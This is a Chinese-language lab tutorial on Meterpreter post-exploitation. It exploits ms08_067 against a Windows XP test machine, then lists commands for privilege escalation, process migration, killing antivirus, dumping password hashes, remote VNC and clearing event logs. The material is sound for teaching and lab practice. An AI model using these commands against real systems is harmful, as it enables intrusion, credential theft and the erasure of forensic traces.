Meterpreter是Metasploit提供的一个非常强大的后渗透工具
Meterpreter可以看成特殊的Payload,之前我们的Payload都是为了获得目标系统的shell
这里的payload就是shellcode,以获得目标系统的shell为目的的payload
我们获得的shell有些缺陷,仅利用shell来收集更多的信息、做更多的事情的话是一个偏笨拙的办法。利用Meterpreter可以打开麦克风、用图形界面显示被攻击者的操作界面等等。
Meterpreter有以下优势:
完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作
使用加密通信协议,而且可以同时与几个信道通信
在被攻击进程内工作,不需要创建新的进程
易于在多进程之间迁移
执行过程:
注入合法系统进程并建立Stager
基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
基于Stager建立的socket连接建立加密的TLS通信隧道
利用TLS隧道进一步加载后续扩展模块(避免网络取证)
二、基本命令 获得Meterpreter Shell我们先获得一个Meterpreter的shell然后继续后面的内容
实验机器:
Kali Rolling 4.8.10,IP地址192.168.171.129
Windows XP Professional SP3,打开445端口,关闭防火墙,IP地址192.168.171.134
XP打开445端口在cmd命令中输入netstat -nao查看445端口是否在监听状态,如果是则跳过,不是则往下继续进行
依次打开目录HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下面的结果
双击SMBDeviceEnabled
将数值数据改成1,然后点确定即可
输入netstat -nao,查看是否已经打开,如果没有则重启一下机器
Kali开始攻击
我们用ms08_067这个漏洞进行攻击,payload选择Meterpreter的payload,其中targets选择了 Id为34的系统,即Windows XP SP3 Chinese - Simplified (NX)
然后输入 exploit -j 进行攻击,可以看到先发送了stage,然后创建了Meterpreter会话
现在我们进入这个Meterpreter Shell
基本命令
可以输入help查看一些命令,如果想回到MSF可以输入background
pwd:pwd是Linux的命令,Windows是没有的,但在Meterpreter Shell中我们可以用这个命令查看当前所在的目录位置
cd:切换目录
dir / ls: 列出当前目录的内容
cat:查看文件内容
mkdir:创建目录
rm:删除文件
rmdir:删除文件夹
mv:移动文件
cp:复制文件
edit:其实就是Linux 下的 vi 命令
lpwd:指 local pwd,查看本地当前的工作目录
lcd:切换本地目录
getuid:查看Meterpreter登录到系统的用户
getsystem:获取system权限
getprivs:查看用户权限
getpid:Meterpreter是注入到一个合法的进程里面的,然后可以用ps查看我们注入的是哪个进程
migrate:将Meterpreter迁移到我们想注入的进程里面,migrate pid
比如services.exe的pid是664,我们可以migrate 664
run / bgrun:运行命令,有200多个功能,但不保证所有模块能在目标机器上正常运行,bgrun是在后台运行而不是前台
run post/windows/manage/killav 用来杀掉杀毒软件
run post/windows/gather/smart_hashdump 获得系统账号和密码的hash,跟直接输入hashdump是一样的
run service_manager -l 获得目标系统的服务
run vnc 图形化的远程管理
clearev:清除目标系统日志。
XP电脑运行中输入eventvwr可以打开事件查看器